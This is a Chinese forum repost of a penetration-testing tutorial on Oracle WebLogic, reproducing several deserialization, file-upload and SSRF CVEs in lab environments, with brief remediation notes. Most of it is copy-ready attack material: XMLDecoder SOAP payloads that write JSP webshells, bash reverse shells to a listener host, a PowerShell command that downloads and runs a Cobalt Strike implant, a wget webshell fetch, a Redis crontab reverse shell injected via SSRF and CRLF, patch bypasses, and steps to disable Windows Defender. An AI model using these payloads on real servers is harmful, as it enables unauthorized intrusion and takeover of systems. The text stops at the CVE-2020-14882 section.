安全矩阵

 找回密码
 立即注册
搜索
查看: 823|回复: 0

中间件常见漏洞之weblogic

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-21 00:18:16 | 显示全部楼层 |阅读模式
原文链接:中间件常见漏洞之weblogic
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!
0x01 Weblogic简介
Weblogic 是美国 Oracle 公司出品的应用服务器软件,确切的说这是基于 Java EE 架构的中间件,主要用于开发、继承、部署和管理大型分布式 web 应用、网络应用和数据库应用。Weblogic 将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的 Java 应用服务器软件之一,也是世界上第一个成功商业化的 Java EE 应用服务器,当然 Weblogic 具有可扩展性、快速开发、灵活可靠等优势,其默认端口为7001,目前比较活跃的版本为10和12,最新版本为14。
在功能性上,Weblogic 是 Java EE 的全能应用服务器,包括 EJB、JSP、servlet、JMS 等,是商业软件中排名第一的容器(JSP、servlet、EJB等),并提供其他工具(例如Java编辑器),因此也是一个综合的开发以及运行环境。在扩展性上,Weblogic Server 凭借出色的群集技术,拥有处理关键 web 应用系统问题所需的性能、扩展性和高可用性。Weblogic Server 既实现了网页集群,也实现了EJB组件群集,而且不需要任何专门的硬件或操作系统支持。网页群集可以实现透明的复制、负载平衡以及表示内容容错。无论是网页群集还是组建群集,对于电子商务解决方案所要求的可扩展性和可用性都是至关重要的。
0x02 Weblogic安装
  1. 下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.htm
复制代码



Weblogic 最新的版本需要jdk1.8以上,如果jdk版本为1.8以下,可能会出现无法安装的情况。经过测试 weblogic 版本为 12.1.3 可在jdk 1.7版本下可以安装。而 weblogic 版本为10.3.6及以下可在jdk 1.6版本下可以安装。
weblogic 10.3.6安装
在官网下载模块中选择一个版本进行下载

我选择的是 10.3.6 的 Generic 版本


1、开始安装weblogic,直接开始下一步


2、选择典型进行安装


3、查看相关概要后继续下一步



4、安装完成weblogic


5、点击开始weblogic server

6、创建新的weblogic域


7、生成自动配置的weblogic域,点击下一步


8、选择默认的域名和域位置即可


9、设置账号密码为weblogic/admin123.

10、选择开发默认,并制定可用的jdk版本

11、点击管理服务器和受管服务器、集群和计算机


12、访问端口和网络都为默认配置


13、之后安装完成


14、找到启动 cmd 文件,点击开启 Weblogic


15、填入账号密码后成功开启 Weblogic



16、访问http://192.168.0.105:7001/,开启成功


控制台地址为http://192.168.0.105:7001/console/


weblogic 12.1.3安装
Weblogic 12版本的安装与10版本的安装稍微有些不同,可安装jdk后运行以下命令进行安装
java -jar fmw_12.1.3.0.0_wls.jar


如果执行报错,是因为 Windows 默认会使用 jre 环境,而不是jdk环境,可将其放置到 jdk 环境下再运行


1、开始安装 Weblogic


2、一直下一步到此点击安装完成


3、开始配置 Weblogic 域

4、设置账号密码为weblogic/admin123.


5、选择生产模式


6、配置节点管理器和管理服务器


7、选择默认管理服务器配置


8、一直下一步即可安装完成


9、找到启动 cmd 文件,点击后开启 Weblogic


10、运行需输入之前的账号密码


11、访问http://192.168.0.111:7001/,开启成功


12 版本的控制台界面与 10 版本也略有不同,在渗透时可轻易分辨


0x03 Weblogic漏洞复现

XMLDecoder反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
漏洞原理

Weblogic 的WLS Security组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞利用
访问http://192.168.0.105:7001/wls-wsat/CoordinatorPortType验证漏洞是否存在,访问成功说明漏洞可能存在


该漏洞不仅存在于/wls-wsat/CoordinatorPortType中,只要是在wls-wsat包中的URI均受到影响在web.xml可找到所有受影响的 URL 路径。





经整理后受到影响的路径包括如下:

  1. /wls-wsat/CoordinatorPortType
  2. /wls-wsat/RegistrationPortTypeRPC
  3. /wls-wsat/ParticipantPortType
  4. /wls-wsat/RegistrationRequesterPortType
  5. /wls-wsat/CoordinatorPortType11
  6. /wls-wsat/RegistrationPortTypeRPC11
  7. /wls-wsat/ParticipantPortType11
  8. /wls-wsat/RegistrationRequesterPortType11
复制代码
构造 HTTP 请求包如下,需要注意的是Content-Type应改为text/xml,否则会导致 XMLDecoder 不解析。

  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.0.105:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 642

  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  11.     <soapenv:Header>
  12.     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  13.     <java><java version="1.4.0" class="java.beans.XMLDecoder">
  14.     <object class="java.io.PrintWriter">
  15.     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp</string>
  16.     <void method="println">
  17. <string>
  18.     <![CDATA[
  19. <% out.print("hello"); %>
  20.     ]]>
  21.     </string>
  22.     </void>
  23.     <void method="close"/>
  24.     </object></java></java>
  25.     </work:WorkContext>
  26.     </soapenv:Header>
  27.     <soapenv:Body/>
  28. </soapenv:Envelope>
复制代码



访问http://192.168.0.105:7001/bea_wls_internal/mac.jsp,成功输出hello



同时在目标靶机中已存在该文件



  1. 需要注意的是如果`Windows Defender`开启状态下,尽管文件存在,但是无法访问到写入的 jsp 文件
复制代码

使用以下方式可关闭Windows Defender
  1. 1、win+R 输入 gpedit.msc
  2. 2、依次点击展开计算机策略→管理模板→Windows组件→Windows Defender
  3. 3、禁用 Windows Defender
复制代码




linux反弹shell
使用 vulhub 中 CVE-2017-10271 的环境进行搭建
  1. cd vulhub/weblogic/CVE-2017-10271
  2. docker-compose up -d
复制代码

构造如下 payload 用于反弹shell
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.0.107:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 633

  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
  11. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  12. <java version="1.4.0" class="java.beans.XMLDecoder">
  13. <void class="java.lang.ProcessBuilder">
  14. <array class="java.lang.String" length="3">
  15. <void index="0">
  16. <string>/bin/bash</string>
  17. </void>
  18. <void index="1">
  19. <string>-c</string>
  20. </void>
  21. <void index="2">
  22. <string>bash -i &gt;&amp; /dev/tcp/192.168.0.50/6666 0&gt;&amp;1</string>
  23. </void>
  24. </array>
  25. <void method="start"/></void>
  26. </java>
  27. </work:WorkContext>
  28. </soapenv:Header>
  29. <soapenv:Body/>
  30. </soapenv:Envelope>
复制代码



成功拿到反弹shell


windows上线CS
在 CS 上生成 exe 类型木马


在本地开启 http 服务
  1. python -m SimpleHTTPServer 80
复制代码

发送 payload 运行木马上线CS
  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.0.105:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 897

  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
  11. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  12. <java version="1.4.0" class="java.beans.XMLDecoder">
  13. <void class="java.lang.ProcessBuilder">
  14. <array class="java.lang.String" length="3">
  15. <void index="0">
  16. <string>powershell</string>
  17.                         </void>
  18.                         <void index="1">
  19.                             <string>-Command</string>
  20.                         </void>
  21.                         <void index="2">
  22.                             <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.0.100/mac.exe','mac.exe');start-process mac.exe</string>
  23. </void>
  24. </array>
  25. <void method="start"/></void>
  26. </java>
  27. </work:WorkContext>
  28. </soapenv:Header>
  29. <soapenv:Body/>
  30. </soapenv:Envelope>
复制代码


成功上线CS


针对CVE-2017-3506的补丁加了验证函数,具体是在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,以此来验证payload中的节点是否存在object Tag,其源码如下:
  1. private void validate(InputStream is){
  2.       WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
  3.       try {
  4.          SAXParser parser =factory.newSAXParser();
  5.          parser.parse(is, newDefaultHandler() {
  6.               public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException {
  7.                  if(qName.equalsIgnoreCase("object")) {
  8.                     throw new IllegalStateException("Invalid context type: object");
  9.                  }
  10. } });
  11.         } catch(ParserConfigurationException var5) {
  12.            throw new IllegalStateException("Parser Exception", var5);
  13.         } catch (SAXExceptionvar6) {
  14.            throw new IllegalStateException("Parser Exception", var6);
  15.         } catch (IOExceptionvar7) {
  16.            throw new IllegalStateException("Parser Exception", var7);
  17. } }

复制代码
绕过方法也非常简单,只需要将修改为即可,如下所示:
  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  2.     <soapenv:Header>
  3.     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  4.     <java><java version="1.4.0" class="java.beans.XMLDecoder">
  5.     <object class="java.io.PrintWriter">
  6.     <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp</string>
  7.     <void method="println">
  8. <string>
  9.     <![CDATA[
  10. <% out.print("hello"); %>
  11.     ]]>
  12.     </string>
  13.     </void>
  14.     <void method="close"/>
  15.     </object></java></java>
  16.     </work:WorkContext>
  17.     </soapenv:Header>
  18.     <soapenv:Body/>
  19. </soapenv:Envelope>
复制代码

除此之外其他都与CVE-2017-3506的 payload 相同,同样可以执行反弹shell、上线CS

漏洞修复
更新 Oracle 官方补丁,补丁地址为
https://www.oracle.com/security-alerts/cpuoct2017.html
修复过程可参考
https://www.oracle.com/security-alerts/cpuoct2017.html
wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)


漏洞原理
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,利用该漏洞获取服务器权限,实现远程代码执行。影响组件主要为bea_wls9_async_response.war和wsat.war
影响版本:
  1. 10.*
  2. 12.1.3
复制代码

漏洞利用
访问/_async/AsyncResponseService验证漏洞是否存在

同样地该漏洞不仅存在于/_async/AsyncResponseService中,只要是在bea_wls9_async_response包中的URI均受到影响,在web.xml可找到所有受影响的 URL 路径。
  1. C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml
复制代码




所有受影响的URL包括如下:
  1. /_async/AsyncResponseService
  2. /_async/AsyncResponseServiceJms
  3. /_async/AsyncResponseServiceHttps
复制代码


其实 CVE-2017-3506 补丁是过滤了,其实现方法为在调用startElement方法解析XML的过程中如果解析到Element字段值为Object就抛出异常,但这类基于黑名单的防护措施很容易被绕过,比如以下代码中不包含任何Object元素,但经过XMLDecoder解析后依然能够执行代码,形成了新漏洞 CVE-2017-10271
  1. <java version="1.4.0" class="java.beans.XMLDecoder">
  2.     <new class="java.lang.ProcessBuilder">
  3.         <string>calc</string><method name="start" />
  4.     </new>
  5. </java>
复制代码


于是 CVE-2017-10271 补丁文件继续将object、new、method等关键字继续加入到黑名单当中,同样一旦解析XML元素过程中匹配到上述任意一个关键字就立即抛出运行时异常。但它针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常,补丁文件如下:
  1. public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
  2.             if(qName.equalsIgnoreCase("object")) {
  3.                throw new IllegalStateException("Invalid element qName:object");
  4.             } else if(qName.equalsIgnoreCase("new")) {
  5.                throw new IllegalStateException("Invalid element qName:new");
  6.             } else if(qName.equalsIgnoreCase("method")) {
  7.                throw new IllegalStateException("Invalid element qName:method");
  8.             } else {
  9.                if(qName.equalsIgnoreCase("void")) {
  10.                   for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
  11.                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
  12.                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
  13.                      }
  14.                   }
  15.                }
  16.                if(qName.equalsIgnoreCase("array")) {
  17.                   String var9 = attributes.getValue("class");
  18.                   if(var9 != null && !var9.equalsIgnoreCase("byte")) {
  19.                      throw new IllegalStateException("The value of class attribute is not valid for array element.");
  20.                   }
复制代码


本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名,因为 CVE-2017-10271 补丁限制了带method属性的void元素,所以不能调用指定的方法,而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,最终利用JDK 7u21反序列化漏洞造成远程代码执行。总的来说以上方法巧妙地利用了void、array和Class这三个元素,成功的打造出新的利用链,并再次绕过 CVE-2017-10271 补丁限制。
在 Weblogic 10.3.6 中利用
  1. oracle.toplink.internal.sessions.UnitOfWorkChangeSet
复制代码


构造函数执行readObject(),其源码如下:
  1. public UnitOfWorkChangeSet(byte[] bytes) throws java.io.IOException, ClassNotFoundException {
  2.       java.io.ByteArrayInputStream  byteIn = new java.io.ByteArrayInputStream(bytes);
  3.       ObjectInputStream objectIn = new ObjectInputStream(byteIn);
  4.    //bug 4416412: allChangeSets set directly instead of using setInternalAllChangeSets
  5.       allChangeSets = (IdentityHashtable)objectIn.readObject();
  6.       deletedObjects = (IdentityHashtable)objectIn.readObject();
  7.       }
复制代码


UnitOfWorkChangeSet中的参数是Byte数组,因此需将 payload 转换为Byte数组才能完成执行,构造 payload 如下:
  1. POST /_async/AsyncResponseService HTTP/1.1
  2. Host: 192.168.0.107:7001
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Connection: close
  9. Content-Length: 852
  10. Accept-Encoding: gzip, deflate
  11. SOAPAction:
  12. Accept: */*
  13. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
  14. Connection: keep-alive
  15. content-type: text/xml
  16. cmd:whoami

  17. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
  18. xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  19. <soapenv:Header>
  20. <wsa:Action>xx</wsa:Action>
  21. <wsa:RelatesTo>xx</wsa:RelatesTo>
  22. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  23. <void class="java.lang.ProcessBuilder">
  24. <array class="java.lang.String" length="3">
  25. <void index="0">
  26. <string>/bin/bash</string>
  27. </void>
  28. <void index="1">
  29. <string>-c</string>
  30. </void>
  31. <void index="2">
  32. <string>wget http://192.168.0.100/JspSpy.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/mac.jsp
  33. </string>
  34. </void>
  35. </array>
  36. <void method="start"/></void>
  37. </work:WorkContext>
  38. </soapenv:Header>
  39. <soapenv:Body>
  40.   <asy:onAsyncDelivery/>
  41.   </soapenv:Body></soapenv:Envelope>
复制代码



访问http://192.168.0.107:7001/bea_wls_internal/mac.jsp发现木马已经存在,需要注意的是如果将其放在bea_wls9_async_response/8tpkys/war下则访问_async/目录,如果放在bea_wls_internal/9j4dqk/war下则访问bea_wls_internal/目录


输入默认密码Ninty可进入管理


linux反弹shell
构造 payload 用于反弹shell
  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
  2. xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  3. <soapenv:Header>
  4. <wsa:Action>xx</wsa:Action>
  5. <wsa:RelatesTo>xx</wsa:RelatesTo>
  6. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  7. <void class="java.lang.ProcessBuilder">
  8. <array class="java.lang.String" length="3">
  9. <void index="0">
  10. <string>/bin/bash</string>
  11. </void>
  12. <void index="1">
  13. <string>-c</string>
  14. </void>
  15. <void index="2">
  16. <string>bash -i &gt;&amp; /dev/tcp/192.168.0.50/6666 0&gt;&amp;1
  17. </string>
  18. </void>
  19. </array>
  20. <void method="start"/></void>
  21. </work:WorkContext>
  22. </soapenv:Header>
  23. <soapenv:Body>
  24.   <asy:onAsyncDelivery/>
  25.   </soapenv:Body></soapenv:Envelope>
复制代码




成功拿到反弹shell


windows上线CS
构造 payload 上线CS
  1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
  2. xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  3. <soapenv:Header>
  4. <wsa:Action>xx</wsa:Action>
  5. <wsa:RelatesTo>xx</wsa:RelatesTo>
  6. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  7. <void class="java.lang.ProcessBuilder">
  8. <array class="java.lang.String" length="3">
  9. <void index="0">
  10. <string>powershell</string>
  11. </void>
  12. <void index="1">
  13. <string>-Command</string>
  14. </void>
  15. <void index="2">
  16. <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.0.100/mac.exe','mac.exe');start-process mac.exe</string>
  17. </void>
  18. </array>
  19. <void method="start"/></void>
  20. </work:WorkContext>
  21. </soapenv:Header>
  22. <soapenv:Body>
  23.   <asy:onAsyncDelivery/>
  24.   </soapenv:Body></soapenv:Envelope>
复制代码




  成功上线CS


漏洞修复

1.及时打上官方CVE-2019-2725补丁包,官方已于4月26日公布紧急补丁包。下载地址:https://www.oracle.com/technetwo ... .html?from=timeline
2.升级本地JDK版本,因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
3.配置URL访问控制策略,部署于公网的WebLogic服务器,可通过ACL禁止对/_async/及/wls-wsat/路径的访问。
4.删除不安全文件,删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启 Weblogic 服务。具体文件路径如下:
  1. 10.3.*版本:
  2. \Middleware\wlserver_10.3\server\lib\
  3. %DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
  4. %DOMAIN_HOME%\servers\AdminServer\tmp\.internal\

  5. 12.1.3版本:
  6. \Middleware\Oracle_Home\oracle_common\modules\
  7. %DOMAIN_HOME%\servers\AdminServer\tmp\.internal\
  8. %DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\
复制代码

注:

wls9_async_response.war及wls-wsat.war属于一级应用包,对其进行移除或更名操作可能造成未知的后果,Oracle 官方不建议对其进行此类操作。若在直接删除此包的情况下应用出现问题,将无法得到Oracle产品部门的技术支持。请用户自行进行影响评估,并对此文件进行备份后再执行此操作。

WLS Core Components反序列化漏洞(CVE-2018-2628)

漏洞详情
受影响的 WebLogic 的 WLS 核心组件存在严重的安全漏洞,通过 T3 协议可在前台无需账户登录的情况下进行远程任意代码执行,且 CVE-2018-2628 为 CVE-2017-3248 黑名单修复的绕过。下面说说几个相关的 Weblogic 的反序列化漏洞
CVE-2015-4852:该漏洞利用 Weblogic 中的 Commons Collections 库来实现远程代码执行,查看CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞,那么存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,之前的防护就会被打破,系统就会遭受攻击。
CVE-2016-0638:Weblogic 的反序列化的点有三个,黑名单 ClassFilter.class 也作用于weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream、weblogic.rjvm.MsgAbbrevInputStream.class、weblogic.iiop.Utils.class。通过利用 weblogic.jms.common.StreamMessageImpl的readExternal() 也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。
CVE-2016-3510:原理是将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject 进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里可正常反序列化,在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
CVE-2017-3248:该漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPListener,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
漏洞版本
  1. - 10.3.6.0
  2. - 12.1.3.0、12.2.1.2-3
复制代码

工具地址如下:
  1. https://github.com/0xn0ne/weblogicScanner
复制代码


在 docker 中开启 vulhub 的 CVE-2018-2628 漏洞环境
  1. cd vulhub/weblogic/CVE-2018-2628
  2. docker-compose up -d
复制代码


使用工具检测是否存在 CVE-2018-2628 漏洞,结果显示目标存在该漏洞

  1. python CVE-2018-2628-poc.py 192.168.0.107 7001
复制代码




漏洞利用

使用工具直接上传shell
  1. python CVE-2018-2628-Getshell.py 192.168.0.102 7001 shell1.jsp
复制代码



访问
http://192.168.0.107:7001/bea_wl ... sp?tom=d2hvYW1pCg==,成功执行命令


其中的d2hvYW1pCg==为 base64 编码,解码后是whoami命令



但是该工具只适合在 Linux 下执行,在 Windows 下执行能够直接上传文件,但访问会返回500



因此目标如果是 Windows,可利用 K8 工具来上传shell



利用脚本执行连接上传的 shell

  1. python cve-2018-2628.py
  2. > http://192.168.0.105:7001/bea_wls_internal/wlscmd.jsp
复制代码



漏洞修复

过滤 T3 协议,在 base_domain 中选择安全》筛选器〉weblogic.security.net.ConnectionFilterImpl,保存后重启 Weblogic
安装漏洞补丁,但 CVE-2018-2628 的补丁经测试后还是能够绕过
任意文件上传漏洞(CVE-2018-2894)

漏洞详情
WebLogic 管理端未授权的两个页面存在任意上传文件漏洞,利用该漏洞可直接获取权限。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。其在开发模式下可直接访问到管理端,但在生产模式则需要经过身份认证并且不存在该漏洞。
影响版本:
  1. 10.3.6
  2. 12.1.3、12.2.1.2、12.2.1.3
复制代码


漏洞利用
访问 Windows 下搭建的 Weblogic 12版本,输入账号密码后可登录后台管理界面


在后台中未发现/ws_utc/begin.do和/ws_utc/config.do这两个界面,需要在配置中开启 web 服务测试页后才能够访问,点击保存并激活更改后重启 Weblogic



重启完成后成功访问界面/ws_utc/begin.do,但仍然需要身份验证,这是生产模式和开发模式的区别,输入账号密码后进入 web 测试页面,其中没有文件上传口,说明生产模式下不存在该漏洞



把 Weblogic 修改为开发模式后,访问/ws_utc/begin.do界面



成功找到文件上传点,在其中直接上传文件



抓包后发现其中存在安全配置,虽然在返回包中能看到相应的路径,但是无法访问,当然这里其实是可以上传的,在后面 vulhub 中的实例会解答



进入/ws_utc/config.do界面



将当前文件目录修改为
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css后提交



在安全选项中点击添加并选择木马尝试上传



提交后查看页面源码,成功发现其中的id,它对应的其实就是时间戳



把这个id与木马原名称拼接,访问
/ws_utc/css/config/keystore/1638725748360_JspSpy.jsp成功


输入密码ninty,进入木马管理界面


接下来测试 vulhub 环境,其中 Weblogic 的密码为EfWP0enw,如果不知道可在靶机中运行如下命令:
sudo docker-compose logs | grep password


进入控制台后还是和之前一样开启 web 测试页



保存后访问ws_utc/begin.do,在其中上传木马



使用 BurpSuite 成功抓取到文件上传数据包如下:



虽然显示 500 错误,但是在响应包中存在路径/ws_utc/css/upload/RS_Upload_2021-12-05_18-22-05_785/import_file_name_JspSpy.jsp,还是出现和上面一样的问题,但其实我们只需要设置上传路径即可解决这个问题。进入/ws_utc/config.do界面,设置当前工作目录为

  1. /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
复制代码




重发木马上传请求包,在响应中返回路径发生变化



该路径就是config.do界面中设置的工作目录,访问

  1. /ws_utc/css/upload/RS_Upload_2021-12-05_18-37-15_307/import_file_name_JspSpy.jsp
复制代码

发现木马已存在



而config.do的利用与以上 Windows 环境一样,在安全中设置keystore并点击提交



查看页面源代码找到对应 id


访问/ws_utc/css/config/keystore/1638727126207_JspSpy.jsp,成功getshell



漏洞修复
1.设置config.do、begin.do页面登录授权后访问
2.IPS等防御产品可以加入相应的特征
3.升级到官方最新版本


SSRF漏洞(CVE-2014-4210)
漏洞详情

WebLogic 的 SearchPublicReqistries.jsp 接口存在SSRF漏洞,如果服务端或内网中存在 Redis 未授权访问漏洞等可进一步打漏洞组合拳进行攻击。
影响版本:
  1. 10.0.2
  2. 10.3.6
复制代码

漏洞利用
验证漏洞只需要直接访问/uddiexplorer/接口,出现如下界面说明漏洞存在


为了方便验证 SSRF 漏洞,把环境切换至 vulhub 当中,其自带 redis 未授权访问漏洞。存在漏洞接口为Search Public Registries

点击 Search 通过 BurpSuite 抓取数据包


更换请求方式为 GET,在漏洞点operator中设置一个不存在的端口,比如http://127.0.0.1:80


果不其然响应包显示存在错误,接下来在漏洞点operator中设置一个存在的端口,比如http://127.0.0.1:7001


响应包显示访问状态码 404,说明端口开放和关闭的响应结果有所不同。因此可根据相应内容判断目标的端口服务是否开放,从而利用 SSRF 进行攻击。
结合redis未授权访问
探测内网是否存在 redis 服务,修改漏洞点路径为http://172.24.0.2:6379


出现与以上两种都不同的提示,说明端口是开放的,但使用的协议不是 http,因此在172.24.0.2中开放着 Redis 服务,尝试写入计划任务执行反弹shell
  1. set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/172.24.0.1/6666 0>&1'\n\n\n\n"config set dir /etc/config set dbfilename crontabsave
复制代码


经 URL 编码如下:
  1. set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.24.0.1%2F6666%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
复制代码

放到漏洞点当中,注意在前面和后面分别添加%0D%0A%0D%0A来实现HTTP头CRLF注入


完成后可进入靶机进行查看,在 docker 中查看容器ID
  1. docker ps
复制代码




发现c6f7开放 Weblogic 服务,其IP地址为172.24.0.2;而7704开放 redis 服务,其IP地址为172.24.0.3,进入7704查看计划任务
  1. docker exec -it 7704 bash
  2. cd /etc/
  3. cat crontab
复制代码




发现计划任务已经写入,在本机(172.24.0.1)中开启nc监听可成功收到反弹shell
  1. nc -nvlp 6666
复制代码




计划任务写入技巧:
/etc/crontab: 负责调度各种管理和维护任务
/etc/cron.d/*: 将任意文件写到该目录下,效果和crontab相同,格式也要一致,并且在该目录操作可以做到不覆盖任何其他文件的情况进行弹shell
/var/spool/cron/root: CentOS系统下root用户的cron文件
/var/spool/cron/crontabs/root: Debian系统下root用户的cron文件
漏洞修复
升级 Weblogic 版本
weblogic后台弱口令 && getshell
漏洞详情
利用爆破手段拿到控制台密码,在爆破时注意如果存在特殊字符需进行URL编码


在控制台中找到部署选项,开始上传war包


选择文件进行上传,一直下一步直到完成上传








    部署成功后存在该应用并点击启动


访问木马http://192.168.0.105:7001/JspSpy/JspSpy.jsp成功


漏洞修复
设置强口令,杜绝弱口令
Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)
漏洞详情
组合利用 CVE-2020-14882、CVE-2020-14883 可使未经授权的攻击者绕过 Weblogic 后台登录等限制,最终远程执行代码接管 Weblogic 服务器。这两个漏洞均存在于 Weblogic 的控制台中,利用组件为 Weblogic 全版本自带组件,并且通过 HTTP 协议进行利用。其中 CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。
影响版本:
  1. 10.3.6.0.0
  2. 12.1.3.0.0、12.2.1.3.0、12.2.1.4.0
  3. 14.1.1.0.0
复制代码


漏洞利用
使用 vulhub 搭建漏洞环境
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
其中 CVE-2020-14882 的POC如下,访问后可绕过限制进入控制台
